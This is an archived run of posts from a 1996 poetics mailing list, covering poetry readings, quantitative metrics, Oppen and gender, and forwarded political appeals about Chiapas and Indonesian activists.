Sixties Project: http://jefferson.village.virginia.edu/sixties/

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293. aerialedge
Berrigan/McNally/Schultz reading
Tue 10 Dec 1996

Sunday December 15th @ 3:00 p.m.

Anselm Berrigan
John McNally
Susan Schultz

DC Arts Center (2438 18th Street in
Adams Morgan, near the corner of 18th and Columbia)

only 3 bucks, just a buck a poet

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294. Bil Brown
Re: Juliana Spahr, Susan Gevirtz reading Dec. 6
Tue 10 Dec 1996

Please give more information on Juliana Spahr. She sounds & resounds in my memory but, I don't know for sure who/where she is from. 'kay.

Thanks,

Bil

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295. **Carnography**

Re: Quantitative Metrics: Coleridge, etc

Tue 10 Dec 1996

> *I have a rather specialized query that only tangentially relates to the twentieth century, but I'd appreciate any responses. I am looking for versification theory about quantitative metrics from the 18th and 19th centuries. I'm trying to work up quantitative metrics as a survey subject and I find myself with lots of material from the Elizabethan period and, obviously, lots from the twentieth century (Bridges, Williams, etc. and on into Olson and company), but very little in between. I am sort of following a thread about quantitative metrics and questions of nationalism, but that isn't a necessary ingredient.*

Liz:

Coleridge also composed hendecasyllabic verse. I'm trying to recall whether or not they could be construed as quantitative:

"High, and embosomed in congregated laurels," etc.

Obviously, the best work on quantitative metrics is not to be found in the 18th and 19th centuries but rather in the treatises of Thomas Campion. Even so, one suspects Tennyson might have written about this, at least in letters, since he wrote poetry in alcaics (supposedly "impossible in English," according to Saintsbury). Also: during a break from composing his heartlessly soporific dactyls, Swinburne attempted quantitative alcaics in his ode to Milton:

Whose Titan angels, Gabriel, Abdiel...
Rings to the roar of an angel onset

I would also scrutinize the writings of Darley and Beddoes who, having been obsessed with Elizabethan verse, might have picked up the Elizabethan obsession with classical meter. All I can recall of _Death's Jestbook_ were a number of extraordinary lyrics and irregular odes.

Generally, I would suggest George Saintsbury's _Historical Manual of English Prosody_, since GS believed that Victorian verse was the crowning achievement of English poetry. But it might also be wise to look up "Classical Meters in Modern Languages" in _The Princeton Encyclo- pedia of Poetics_.

> *I understand that Coleridge saw "Khubla Khan" as a quantitatively metrical poem (In XANaDU did KHUbla KHAN a STATEly PLEAsure DOME deCREE -*
> *I suppose you can hear it in terms of duration rather than accent). If anyone knows WHERE Coleridge writes about quantitative metrics I would be grateful.*

Are you certain you're not thinking of Coleridge's _Christabel_?

Coleridge:

"The meter of _Christabel_ is not, properly speaking, irregular, though it may seem so from being founded on a new principle, namely in counting, in each line, the accents, not the syllables."--Coleridge, "Preface to _Christabel_"

RE "Kubla Khan": I saw some of Coleridge's metrical theory regarding "Kubla Khan" either in the _Biographia Literaria_, vol. 2, ed. by Johnathan Shawcross, or in Coleridge's _Notebooks_. I wish I could tell you more, but it's been a while.

Slightly off the subject:

Here is an attempt on my part to write in feminine alcaics:

When Barber sings Italian, a rougher language
conforms to his cantabile line: the English.
Suspensions lifted from Corelli
Soften its oddity, not its beauty.

And in adonics (This is from a neo-renaissance aria, which I wrote, with music, for singer John Kelly, in memory of Huck Snyder):

When I am taken,
He will awaken
Never to perish.
Adonis, be cherished:
Seraphim, hold him,
Bright wings, enfold him...

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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296. **dbkk**
Re: Oppen lecture, December 5
Tue 10 Dec 1996

At 2:26 PM 12/9/96, [redacted] wrote:
>Kevin--I don't see why the "apparent paradox" you describe below wld make
>Oppen a "misogynist," i.e. "one who hates women." Steve

Dear Steve, I must have been overstating (and skipping). Of course, as I said, Quartermain himself never made any such generalization (in his lecture at the Poetry Center). Wait till you see his paper for yourself; in cold print the effect

may be very different. In situ, the total effect of the testimony of so many different women writers (and of such different kinds), responding to Oppen, was very forcible, shock wave making. PQ did in fact say that Oppen, born in 1909, could not be judged by the standards of today, or even of the period in question. I couldn't recall many exact quotes from Oppen, but I do recall one passage in which he chides Fraser for dwelling on "feminine" subjects, commanding her to bring her writing "up into the world," -- such an odd turn of phrase, redolent of the stock criticism of women's writing--in which what men write about is universal, and what women write about is fluff. In this trope ("up into the world"), sub-terranean fluff like the Orcs. --Kevin Killian.

↑ Index

297. **aerialedge**
Re: Wild taste
Tue 10 Dec 1996

J. Timmons-- I don't know if what I sd re taste was Habermassian. I think clearly one can pick up a taste for something from another person. Again, Antin's "tuning" concept seems to me a useful description of what happens. I wouldn't want taste to be too much of a space of consensus-- if everybody liked the same things life wld be hell. Because we don't like the same things there's opportunity for discovery as much as for dissent.

I've recently been in a few cities that have Only corporate restaurants, Wendy's, McDs, Roy Rogers, they're so different aren't they?-- no local restaurants left. Talk about leaving a bad taste.

--R

↑ Index

298. **aerialedge**
Re: Oppen lecture, December 5
Tue 10 Dec 1996

---

yes, maybe Oppen thought Kathleen F. cld/should go "deeper" whereas Levertov was abt where she wld/cld get. Cld it not be more clearly seen as simply insightful advice from someone who'd been at it longer?

not to bring my own "tastes" in too much
;.

--R

↑ Index

299. **maz881**
cook book
Tue 10 Dec 1996

Kevin, Congrats on book and picture. I will go to buy. on another note pictures are the reason i like the paul carroll anthology. I remember stephen rodefer saying That's the book we all wanted to be in!

Bill

↑ Index

300. **Gabrielle Welford**
Fw: Goldman Brigade to Chiapas (fwd)
Tue 10 Dec 1996

>From the Anarchist List:

From: Elliott Madison <[redacted]>
Subject: Goldman Brigade to Chiapas
Date: 05 December 1996 05:20

We are a group of non-affiliated anarchists out of New York who are planning supply trip to Chiapas. We are raising money to purchase a vehicle and fill it with supplies that are much needed by the resistance in Chiapas.

The plan is to drive a car full of cargo to Chiapas and donate the vehicle and it's contents to the EZLN and it's many supporters to show the growing concern of Americans for their struggle. We hope to utilize the publicity value of this trip in order to raise awareness of the continuing struggle in Mexico.

We are looking for donations, volunteers, cheap lodgings, supplies, etc. We welcome all comments/questions/comments about us and the trip. We look forward to working with you in the upcoming months.

Elliott Madison
Erik Solomonson
Elena Pelovska

?
F r o m (o o) M i k e
~~~~~~~oOOo~(_)~oOOo~~~~~~~
a D i g i t a L p o s t m o d e r n i s t

↑ Index
~~~~~~~

301. **amato**
Re: Wild taste
Tue 10 Dec 1996

---

gwyn, so like, that's what i call cat-egorization!...

ok folks, gotta sign off for what i hope will be only a day or two---system problems on this end... so if anybody tries to reach me and i don't respond immediamento, be patient

I'LL BE BACK

gently, gently//

joe

↑ Index

302. **dbkk**
Juliana Spahr, Susan Gevirtz reading Dec. 6
Tue 10 Dec 1996

This is Kevin Killian. A record crowd showed up on Friday night at Small Press Traffic in San Francisco. They had come to hear homegirl Susan Gevirtz and to give a rousing welcome to Juliana Spahr, making her first appearance in our city. Spahr spoke briefly first about her pleasure in coming to San Francisco then launched into a ferocious, biting rendition of "Thrashing Seems Crazy" from her new book "Response." Bob Holman, capture this woman on tape at once! Later, she led the audience through a work in progress tentatively called "Lie," which combines quotations from Gertrude Stein, standard psychological evaluation forms, question after question, interrupted anecdote, faith and charity. The crowd went wild. It took another fifteen minutes to calm everyone down, then Gevirtz took the stage and read from "Without Event," the "essay" which leads off "A Poetics of Criticism." A few minutes later we heard the complete version of her long-in-the-works "Black Box Cutaway," a work meant to be read with the accompaniment of slides. Knowing the technical limitations of Small Press Traffic's tiny staff, canny Gevirtz brought her own machines and staff to set this up. All worked splendidly. The readers seemed ideally paired for once, with a mutual interest in, for example, false memory, for "Thrashing Seems Crazy" is based, Spahr told us, on an episode of Oprah Winfrey which presented a woman convinced she is being stalked by her own male alter ego, a part of her own personality cut off, therefore made real, by a splitting of the mind; while in "Black Box Cutaway" Gevirtz uses the materials from "Remembering Satan," the controversial case from the Pacific Northwest in which a man confessed, under the most rudimentary of interrogations, to molesting his family for the glory of Satan, apparently without recourse to

actual event. Am I remembering this reading correctly, or did it all happen in my dream? Were others of you there, too?

↑ Index

303. **main**
Re: sublimation (sex, etc)
Tue 10 Dec 1996

---

then writing is strictly a head job? language certainly has a material/physical dimension, and stroffolino's post touches on this. jeff hansen's essay in latest pb ("raggedness as poetic sensibility") might be interesting to look at here: how heads and tails figure into language (and departure points, examples: artaud, notley, cortez, vallejo, et al.) best, dan featherston

On Mon, 9 Dec 1996, Bil Brown wrote:

> *CHRIS,*
>
> *Maybe I'm odd to this list, but I think I prefer sex AS sex and not SEX as poetry As sex as poetic orgasim... whatever.*
>
> *Again, maybe I'm odd -- but I keep my dick out of my poetics and in my pants.*
>
> *Bil Brown*

↑ Index

304. **main**
Re: Quantitative Metrics: Coleridge, etc
Tue 10 Dec 1996

---

what about coleridge's _biographia literaria_, letter-responses to wordsworth's configurations of metrics in preface to _lyrical ballads_?

best, dan

↑ Index

305. **oren.izenberg**
Re: Quantitative Metrics: Coleridge, etc
Tue 10 Dec 1996

Re Coleridge and meters quantitative and otherwise:

The best place to begin all inquiries metrical is _English Versification, 1570-1980: A Reference Guide with a Global Appendix_ by T.V.F. Brogan (also of

Princeton Encyclopedia fame), JHU Press, 1981. This is a massive (700 page), well-annotated bibliography of writing on versification by poets and critics from, well, 1570-1980. It would no doubt be useful for the larger project as well as your local inquiry.

On the very specific question of Coleridgian metrics and nationalism see Jerome Christensen's essay "Ecce Homo: Biographical Acknowledgement, the End of the French Revolution, and the Romantic Reinvention of English Verse" in _Contesting the Subject: Essays in the Postmodern Theory and Practice of Biography and Biographical Criticism_ ed. William Epstein (Purdue UP).

Hope this is helpful.
O.

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306. Aldon L. Nielsen
Re: Oliveros
Tue 10 Dec 1996

Charles (or any other interested parties)

Oliveros's "I of IV" was first heard by me on the recording _New Sounds in Electronic Music_ (odyssey no date on record jacket/sleeve, but probably around '67) -- This collection also includes Reich's now famous "Come Out" and Richard Maxfield's "Night Music" --

I first heard all this stuff as a kid who plucked such albums out of the cheap music bins (and they WERE cheap even when new -- but that was a day in whcih records such as this were sold at the equivalent of Walmart [I got mine at E.J. Korvettes]}

Have not looked to see if there's been a CD reissue, but I'm sure you can find this music still in the catalogue --

"I of IV" dates to the time Oliveros became Director of the Tape Music Center at Mills -- It was created in July '66 at the University of Toronto Electronic Music Studio -- uses sine tone genrators, tape and Hammond reverb -- lasts about twenty minutes --

↑ Index

307. Aldon L. Nielsen
Re: Double Damn
Tue 10 Dec 1996

Accused of Circularity --

This is not quite the tautology implied -- It is not particularly circular to rely upon the idea of poetics when dicussing poetics, or to rely upon the idea of narrative when discussing narrative -- WWhat I responded to was not simply an insistence that narrative is not included in discussions of poetics, but was in fact a sharper wedge drawn between them -- I'm perfectly aware of the difference between discussing the narrative of poetics and the poetics of narrative, and it appears to me reading back over our archive that both subjects were discussed -- In varied ways, Kali insisted that one who has a poetics is involved in a narrative -- That narrative in its turn would itself be susceptible to an analysis of its poetics -- No?

It would be circular (in the bad, logician's sense) to begin with a definition of narrative presupposed which then reappeares as the conclusion of the investigation -- I took Kali to be saying that any of us who make aesthetic judgements do in fact operate upon the basis of some form of poetics and that such a poetics places us within a narratable set of presuppositions -- Kali might go farther (I'll wait to hear from her on this) and argue that those presuppositions are not only "narratable" (in the sense of already relating to one another in discernable sequences in time) but already form a narrative --

To me, having grown up with ears open, it did not seem earth-shattering news when novelists, poets and scholars started talking about "narrative" knowledge -- I've never worked through all the epistemology of this, but I have yet to encounter any act of language that could truly be defined as "plotless" -- Though I think I have a general idea of what people mean when they describe some novel I enjoy as plotless -- (I do not, let me hasten to add, hold "narrative" and "plot" to be synonyms.)

A poetics does not exist in a timeless space -- It relates in varied ways to earlier statements and events -- It certainly can be seen as an event in a narrative without causing too much ontological pain to anybody --

There is even a story of how my poetics got to be that way -- I can tell it -- I think this is true of most people --

I can't see anywhere that Kali said poetics and narrative are synonymous (though I may have missed it in those algebraic equations that suddenly erupted a few posts ago) --

It was hardly the case that the statement didn't make sense -- but I've been condescended to before -- If something here doesn't make sense, it may very well be my problem -- and I'd be happy to try it again --

↑ Index

308. **Aldon L. Nielsen**
Re: " . . . "
Tue 10 Dec 1996

before I truple damn myself -- let me add that I don't see it particularly circular to rely upon the idea of narrative while discussing something (poetics) that includes narrative -- I rely upon the idea of Colorado while discussing the United States (BAD analogy -- but here I am) -- The novel includes narrative -- I can have a narrative about the poetics of the novel -- in fact, I just read one last week --

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309. **Herb Levy**
Re: Oliveros
Tue 10 Dec 1996

I was going to wait until the CD was actually in hand to mention it here, but since there's some interest in Pauline Oliveros now, let me mention that Suspended Music, the first CD for my label, goes to press in, I hope, less than a week.

It's a collaboration between Pauline Oliveros' Deep Listening Band (with Stu Dempster & David Gamper) & Ellen Fullman's Long String Instrument. It includes two long recent compositions, Epigraphs in a Time of AIDS by Oliveros and TexasTravelTextures by Fullman. I don't want to get into any convoluted discussion of matters of taste here, but, of course, I think the music is great.

When the disc is back from the plant, I'll be offering it to list members for less than it'll sell for in stores.

Bests

Herb

Herb Levy
[redacted]

↑ Index

310. **groberts**
Re: Quantitative Metrics: Coleridge, etc
Tue 10 Dec 1996

Liz, I think Cowper's sapphics might also be relevant to Romantic quantitative verse.
Gary R

↑ Index

311. Gabrielle Welford

[asia-apec 269] PRD/Pakpahan Trial Appeal (fwd)

Tue 10 Dec 1996

EMERGENCY APPEAL

PRD LEADERS AND ACTIVISTS, MOCHTAR PAKPAHAN TRIALS TO START.

On December 12 the Soeharto dictatorship will begin the trials of leaders and activists of the Peoples Democratic Party (PRD) and its affiliated mass organisations as well as against Mochtar Pakpahan, head of the Indonesian Prosperous Labour Union. The primary, secondary, and sub-secondary charges against them are all "subversion" which carries a maximum penalty of death.

Among the PRD leaders charged are Budiman Sujatmiko, President of the PRD and Petrus Haryanto, PRD Secretary-General. Charges have also been filed against ms Dita Sari, President of the Indonesian Centre for Labour Struggles (PPBI) and Ignatius Pranowo, PPBI Secretary General. Also charged is Wilson, coordinator of the Indonesian People in Solidarity with the Maubere People and a member of the PRD Executiv and Astika Anom, head of the PRD education department. Garda Sembiring, head of one of the largest branches of Students in Solidarity with Democracy in Indonesia (SMID) is also among those charged.

The arrests of the PRD leaders and activists were originally defended by the dictatorship by accusing the PRD of being behind rioting that occurred on July 27, following an attack by government military and police on the offices of the opposition Indonesian Democratic Party. Lawyers for the PRD prisoners now say the indictments hardly mention the July 27 riots at all but concentrate on attacking the political documents of the PRD and its programme of protest actions during 1995.

The dictatorship has singled out the PRD for total supression and has issued orders for detention of all PRD personnel.

The subversion charges were filed two weeks after Indonesia's Supreme Court reimposed a four-year jail term on one other of the accused, namely, Muchtar Pakpahan. Pakpahan was jailed in 1994 on charges of inciting mass labour unrest after riots broke out when soldiers attacked a workers demonstration in the Sumatran city of Medan. He was freed last December after the Supreme Court found that there was insufficient evidence for his conviction. Pakpahan had been arrested again in August following the July riots in Jakarta.

On November 28 Indonesian judges released all 124 Indonesian Democratic Party (PDI) supporters of Megawati Sukarnoputri who spent four months in jail on lesser charges of refusing to obey orders by the security forces to disperse.

URGENT APPEAL

ASIET calls on all supporters of democracy and human rights to protest the filing of these subversion charges against the PRD leaders and activists as well as Mochtar Pakpahan. We urge you to send letters to the Indonesian Embassy in your country and to your foreign ministers calling on them to raise the matter publicly with the Indonesian government.

We urge all groups and individuals to follow ASIET reports over the coming weeks. Further protest activities will be necessary.

We also urge all supporters to help the defence campaign by making a donation. Donations will be sent to Jakarta for the PRD defence campaign and to produce publicity materials. Please send cheques or money orders to the address below.

ACTION IN SOLIDARITY WITH INDONESIA AND EAST TIMOR (ASIET)
P.O. BOX 458, BROADWAY 2007, AUSTRALIA
Tel: 61-02-6901032 Fax: 61-02-6901381

subscribe to asietnews-l
Web Page: http://www.peg.apc.org/~asiet/

Free East Timor! Free Xanana Gusmao!
Freedom in Indonesia! Free all political prisoners!
Defend the PRD!
Suharto regime out of the internal affairs of political parties!
No military ties with Suharto dictatorship!

↑ Index

312. Burt Kimmelman
Re: Quantitative Metrics: Coleridge, etc
Tue 10 Dec 1996

Liz,

You might try Alan Holder's new book which does a historical survey, Rethinking Meter.

Burt Kimmelman

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313. wkl888
PREMONITIONS Anthology Sale
Tue 10 Dec 1996

PREMONITIONS 20-25% Discount Sale

Dear Poetics List, With the gift-giving season here, I thought it was a good time to make *PREMONITIONS: An Anthology of New Asian North American Poetry*-praised by list members Aldon Nielsen, Maria Damon, Fred Muratori, Small Press Traffic, David Kellogg, Susan Schultz and others-available at special discount prices. Shipping is free within the U.S.A. (Canadian and other international orders should add $4.00 for the first copy and $2.00 for each additional copy.)

For 1 to 2 copies, the discount price is $18.36, or 20% off the retail price. Larger orders (the anthology has been taught at universities ranging from UC Irvine and UCLA to Brookyln Polytechnic Inst. and the University of Pennsylvania) receive a discount of 25%, for a price of $17.21 per copy. If you back-channel me an order (to "[redacted]"), copies will be shipped out within two days by UPS or 1st-class mail with an invoice. Alternatively, orders accompanied by payment in the form of a check or money order made out
to "Walter K. Lew" can be sent to the following address:
Premonitions
c/o Prof. J. Chang
English Dept.
Boston College
Chestnut Hill, MA 02167

Upon request, copies will be autographed by the editor.

The prices above apply to the paperback edition only. For the elegant clothbound edition, the discounted prices are $35.96 per copy (1 to 2 copies) and $33.71 (3 or more copies).

If you have questions, please back-channel me at [redacted]. A description of PREMONITIONS is given below.

Thank you
Walter K. Lew

* * * * *

PREMONITIONS: An Anthology of New Asian North American Poetry Edited by Walter K. Lew

Published in November 1995 by Kaya Production.
Paperback and Clothbound editions: 6 x 9 in., 595 pp., 36 b&w plates.

The most comprehensive anthology of Asian North American poetry to date, PREMONITIONS gathers work ranging from cyberpunk meditations and Buddhist odes to video and multimedia texts, L=A=N=G=U=A=G=E-influenced writing and neo-Orientalist recuperations and juxtaposes them in ways that

both echo and subvert categories of theme, poetics, and identity. Pidgin poetry, queer writing, multi-lingual texts and Canadian open-field compositions further broaden the scope of this ground-breaking collection. The 73 contributors include veteran authors like Jessica Hagedorn, Lawson Fusao Inada, Trinh T. Minh-ha, Fred Wah, Kimiko Hahn, and John Yau, as well as such "premonitory" new poets as R. Zamora Linmark, Barry Masuda, Evelyn Lau, Amitava Kumar, and an emerging generation of poetry-expanding multimedia artists like Gloria Park. Also featured are previously unpublished poems by the late Frances Chung, Roy Kiyooka, and Theresa Hak Kyung Cha.

PRAISE FOR PREMONITIONS:
"An exquisite artifact of activist experimentalism, theoretically smart and so beautiful it hurts, Premonitions promises to be a landmark in American letters for many years to come."
-Maria Damon, University of Minnesota

"An impressive collection distinguished by its variety and sweep. By turns entertaining, exciting, troubling, it is always provocative. A major contribution." -David Palumbo-Liu, Stanford University

"Demonstrating the infinite range of possibilities overlooked by the too easily applied label of 'multicultural'...this collection steeps the reader in alternative histories and approaches to language and tells stories seldom-if ever-heard. Recommended for most poetry collections." -Fred Muratori, in LIBRARY JOURNAL

"When you turn this smokin' tome aloose, you may not be able to get the poetic license plate number, but you will definitely know it was felony hit-and-run." -Wanda Coleman, Author of HAND DANCE

CONTRIBUTORS TO PREMONITIONS:
Maria Luisa B. Aguilar-Carino
Meena Alexander
Agha Shahid Ali
Shirley Ancheta
Theresa Hak Kyung Cha
Juliette Chen
Justin Chin
Marilyn Chin
Eric Chock
Ann Choi
Janet M. Choi
Jean Hyung Yul Chu
Frances Chung
Josephine Foo

Sesshu Foster
Vince Gotera
Jessica Hagedorn
Kimiko Hahn
Patricia Y. Ikeda
Lawson Fusao Inada
Michael Ishii
Jaime Jacinto
Myung Mi Kim
Willyce Kim
Roy Kiyooka
Joy Kogawa
Ann M. Kong
Juliet Kono
Amitava Kumar
Mina Kumar
Robert S. Kuwada
Christian Langworthy
Evelyn Lau
Carolyn Lei-lanilau
Russell Leong
Ho Hon Leung
Walter K. Lew, with Lewis Klahr (film)
Shirley Geok-lin Lim
Tan Lin
R. Zamora Linmark
Stephen Shu-ning Liu
Timothy Liu
Martin F. Manalansan, IV
Barry Masuda
Roy Miki
David Mura
Dwight Okita
Richard Oyama
Gloria Toyun Park
Celine Salazar-Parrenas
Sung Rno
Al Robles
Thelma Seto
Gerry Shikatani
Luis Syquia
Arthur Sze

Ronald Phillip Tanaka
Andrew Tang
Barbara Tran
Trinh T. Minh-ha
Fred Wah
Wang Ping
Yun Wang
Koon Woon
Traise Yamamoto
Lois-Ann Yamanaka
Karen Tei Yamashita
John Yau
Jean Yoon
Wahn Yoon
cyn. zarco
Ali Zarrin

END of Announcement

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314. Matthias Regan
Re: Quantitative Metrics: Watts
Tue 10 Dec 1996

> *Liz, I think Cowper's sapphics might also be relevant to Romantic quantitative verse.*
> *Gary R*

Yes! & I think it was the hymnodist Isaac Watts (forgive my memory, hard to think at work) who also wrote Sapphics: I have heard it suggested that both Cowper and Watts might be said to have used this form because the strain upon their language that it caused was similar to the difficulty of getting into an appropriate language the quality of God's mercy they wanted to express. The long and short of it (bad pun) was: by using Sapphics there were able to control their words in a methodical manner similar to that strict application will over passions that Methodism entailed. A question this brings up: are quantitative metrics (you could apply it to all metrics, but it would get messy) generally understood (by writers) as a form or as a method? For Cowper I think part of the attraction of the form was the method necessary to make it work.

--Matthias, who is new to the list as of today (please forgive me if I'm barging in on topics long-since hashed out, etc.)

****
Matthias Regan
Phone: 847/[redacted]
Email: [redacted]
****

↑ Index

315. tmandel
the profession(s)
Tue 10 Dec 1996

Ron -- I didn't say or at least didn't mean to say that people in the computer industry are smarter than those in the academy. Only that the academy, which might be imagined as a gathering of specially high intelligences, is not particularly: and this I wanted to say not to critique the academy but only as a kind of encouragement to those (students) who might fear falling from the academy into a dumber world of commerce or whatever.

By the way, I have had a number of backchannel communications from people who want advice on how/where to locate Oxxford suits. I find this very cheering, and I would like to help (those who are not my size and live in a different town). But, I'm not sure I can. It may be a gift, like unto the ability to rhyme.

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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316. Bennett McClure Simpson
Art + Language
Tue 10 Dec 1996

Hi,

Can anyone tell me anything about the "Art and Language" group that was around in the 70s and 80s in England? Do they still exist as such? What might they have to do with the rock band Red Krayola? I know this is far from any recent thread, but I figured someone out here could help. Backchannel if desired.

Bennett

****

Bennett Simpson University of Virginia [redacted]
Department of English

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317. klobucar
Re: Barrett Watten
Tue 10 Dec 1996

Could somebody backchannel to me Barrett Watten's e-mail address,

much obliged.

****

andrew klobucar
201-101 East Seventh Ave.
Vancouver, BC
V5T 1M5
[redacted]

****

↑ Index

318. shoemakers
Re: Oppen lecture, December 5
Tue 10 Dec 1996

Kevin--The paper does sound fascinating, and I hope I get to see it one of these days. I've never made a real study of the subject, but my own sense from working with the Oppen papers at UCSD, and w/ Rachel's fine edition of the letters, is that George's relations with women were quite interesting and complex. And btw, I'm sure Rachel herself wld have much to say on the subject. Undoubtedly, he was subject to some of the gender prejudices of his day, but I also remember some remarkable cross-gender insights as well. There's one passage in the papers, i think, where he's quite conscious of his masculine self as a kind of fragile "phallus" being protected by the women in his life. Which brings us to Mary. There are, as I recall, some remarkable documents at UCSD from her own feminist "awakening" in the sixties and seventies. Some odd stuff too. If I remember correctly, in the manuscript notebook of Meaning A Life the script was pasted over with recipes. steve

On Tue, 10 Dec 1996 [redacted] wrote:

> *At 2:26 PM 12/9/96, [redacted] wrote:*
> *Kevin--I don't see why the "apparent paradox" you describe below wld make Oppen a "misogynist," i.e. "one who hates women." Steve*

> *Dear Steve, I must have been overstating (and skipping). Of course, as I said, Quartermain himself never made any such generalization (in his lecture at the Poetry Center). Wait till you see his paper for yourself; in cold print the effect may be very different. In situ, the total effect of the testimony of so many different women writers (and of such different kinds), responding to Oppen, was very forcible, shock wave making. PQ did in fact say that Oppen, born in 1909, could not be judged by the standards of today, or even of the period in question. I couldn't recall many exact quotes from Oppen, but I do recall one passage in which he chides Fraser for dwelling on "feminine" subjects, commanding her to bring her writing "up into the world," -- such an odd turn of phrase, redolent of the stock criticism of women's writing--in which what men write about is universal, and what women write about is fluff. In this trope ("up into the world"), sub-terranean fluff like the Orcs. --Kevin Killian.*

Steve Shoemaker

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319. **Aldon L. Nielsen**
Re: trying to be that 50th message
Tue 10 Dec 1996

If you can't locate that Oxford suit, I can help you with a Cal State three piece for less than a third of the price -- looks pretty good on most folk -- besides, everybody's wearing their clothes too big these days --

Suge Knight says to tell everybody there's plenty good poetry on the inside -- He's signed three new acts already --

if you can't come, call

↑ Index

320. **Tosh**
Re: Art + Language
Tue 10 Dec 1996

> *Hi,*
>
> *Can anyone tell me anything about the "Art and Language" group that was around in the 70s and 80s in England? Do they still exist as such? What might they have to do with the rock band Red Krayola? I know this is far from any recent thread, but I figured someone out here could help. Backchannel if desired.*
>
> *Bennett*

DON'T BACKCHANNEL I WANT TO KNOW ALSO
>
Tosh

↑ Index

321. **Jeffrey W. Timmons**
Re: Wild taste
Tue 10 Dec 1996

On Tue, 10 Dec 1996 [redacted] wrote:

I wouldn't want
> taste to be too much of a space of consensus-- if everybody liked the same
> things life wld be hell. Because we don't like the same things there's
> opportunity for discovery as much as for dissent.

yes. of course. i agree. that to me is precisely a space of "consensus": that is space for dis/agreements....

> *I've recently been in a few cities that have Only corporate restaurants, Wendy's, McDs, Roy Rogers, they're so different aren't they?-- no local restaurants left. Talk about leaving a bad taste.*

yes but there are differences even there: some better some worse. variations on a theme. kidding.

jeffrey timmons

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322. **Steve Carll**
The Week in Poetry (S.F.)
Tue 10 Dec 1996

Thursday night was the Eleventh Annual George Oppen Memorial Lecture sponsored by the Poetry Center at San Francisco State. This year's lecturer was Peter Quartermain. I wasn't informed of this event and thus did not attend. Damn.

Friday at New College, upwards of a hundred people packed the Cultural Center to see Juliana Spahr and Susan Gevirtz. Juliana, whose triumphant FIRST reading in San Francisco this was, read FIRST, introduced by intrepid Dodie Bellamy. She started with "Thrashing Seems Crazy", a piece based on an Oprah episode, and "Live", based on the apparently rollicking Ichor Gallery series of yore. Many people noted the rapid delivery of the East Coast poet. Catchy lines included:

"leave molotov cocktail in own yard"
"a woman calls her stalker 'the poet'"
"when a fish is hooked, other fish don't see the hook" (title line follows)
"I am lost in the center called nothing
and this makes my relation to the periphery troubling"
"it is more common to not want to do this thing"
"turn some man or woman head
turn head some thought"
"men can count, and they do"
"is it communication or manslaughter?"
"it is a threat wrapped in a caress"
"is that a term from Stein?"

There was a break to allow everyone to get in touch. Tactiles that night included Jay Schwartz, Lauren Hudath, Pam Lu, Avery E.D. Burns, Lyn Hejinian, Jean Day, Mary Burger, Rodrigo Toscano, Hung Tu, Margie Sloan, Peter Gizzi, Liz Willis, Stephen Ratcliffe, Spencer Selby, Travis Ortiz, Steve Dickison, Tina Rotenberg, Michael Palmer, Colleen Lookingbill, Kathleen Fraser, Pat Reed, Bob Hale, Shauna Hannibal, Aaron Shurin, Laura Moriarty, Giovanni Singleton, Renee Gladman, Kevin Killian, Dorian Harding-Morick, Myung Mi Kim (who showed up after a long battle to find a parking space, only to have Juliana finish her portion of the event), and Stephanie Baker.

Susan Gevirtz continued with excerpts from "Without Event--The Reign [or Rain--I'm not clear which] of Commotion", which included lines like the following:

"he is present at his own absence" [from Beckett]
"how the film frame is a window of tempo"
"Dear Possible:"
[someone's stomach near me is gurgling.]
"forget the possibility of future experience"
"the perils of the fixed idea"
"all the stories were at war with each other"
"animal bites littered the sky. Immigration"

Then Susan read from _Black Box Cutaway_, a work inspired by the collision of some Lumiere Brothers films with a lecture on brain neurophysiology. Susan projected slides on the wall behind her while she read. There were windows opening onto impossible landscapes, cutout shapes and pantyhose. lines included:

"carve her cunt into the sky"
"all around me reports of/the/sky"
"dictatorship of the present"

"he thought 'sewing machine'"
"the soccer ball never appears, only trousers running on white"
"police stations will melt into the population"
"the giving of gifts is a display of writing"
"is an airplane a flying border?"
"death isn't dead--it's a movement, again"
"if we've lost Cronkite, then we've lost the whole country" [LBJ on media reaction to the Tet Offensive]

There was a party at Susan's, and after much frustration parking, many people arrived to eat animal cookies, grapes, crackers and cheese, and to drink wine and water. I got to look out the windows which appeared in the slides. The landscapes I saw through them were possible, but just barely. There were New York tales exchanged for California ones (of both the San Francisco and San Diego variety) as Juliana, Rodrigo, Robert Hale, and I talked. This is how I know of the Eye-Corps Gallery fiasco and how everyone thinks Rodrigo only goes to male poets' readings, when the opposite is true. There are copies of _Antenym_ 11 bandied about.

Saturday there's a party at Leslie's house, but I was not in attendance so I can't say what went on there.

Sunday at Canessa Park Gallery several of the people from Friday and several others come to see Meredith Quartermain (who's married to Peter Quartermain of the Vancouver Quartermains, who in turn is married to her) and David Bromige.

Avery intros Meredith, who reads from her Meow book _Terms of Sale_, from a work in progress called _The Resurrection of Sherstin Constantine_, and from her erasures of the _Philosophical Investigations_, which she calls "Wittera" and which were instigated by Norma Cole. Meredith also sometimes writes by taking 2 words at random from a box she's filled with words and building poems around them. Lines included:

"legumed in coconut"
"in the hold you guard her fire building zinc fields of wrens"
"don't buy linted pistachios at the bakery"
"as cannot will when will not may"
"words, it seems, idea"
"and this not why knows used"
"wander ice tracking lunatics tracking air"
"thought drift/clouds cemented"
"sentence funnel/Tertiary house/the of ship"
"Europe webs away geography"
"so I can't talk at dinner when it's supposed to be your birthday"

"he raven me jane"
"you see, cretin, a Grecian vase/ode on a crusted barnacle"
"beware of telephone gunk"
"the feuding balcony of his stomach protruding between t-shirt and belt"

The lights at Canessa Park are blinking their approval. After her reading Meredith announces she's retiring the word "vomit" (which she used four separate times in her reading) from her box of words. It was fun while it lasted.

David Bromige reads from _Dream Book_, which stems from a workshop he participated in at the Quartermains'. The Dream Book integrates dream material with interpretation and the sustained use of latinate roots to intriguing and comic effect:

"as she steps forward, her kinesiology intervenes"
"she brings her face close to mine and says, 'Gladys'."
"There was a buoyancy among us all--revenues were up."
"I was a candidate for candidate"
"I was licked. It was in a tongue I didn't know."
"He says, 'Laughter is betting.'"
"'Come on, Dad, grow up, we're late.'"
"people like strolling dicta"
"It's like my system's jammed, and I blurt out the one word, 'Cleave!'"
"your Kierkegaard is nothing to my welfare"

David then reads a poem in 5 parts called "T as in 'Tethered'". One of the parts goes like this:

T as in "tethered."
E as in "tethered."
T as in "tethered."
H as in "tethered."
E as in "tethered."
R as in "tethered."

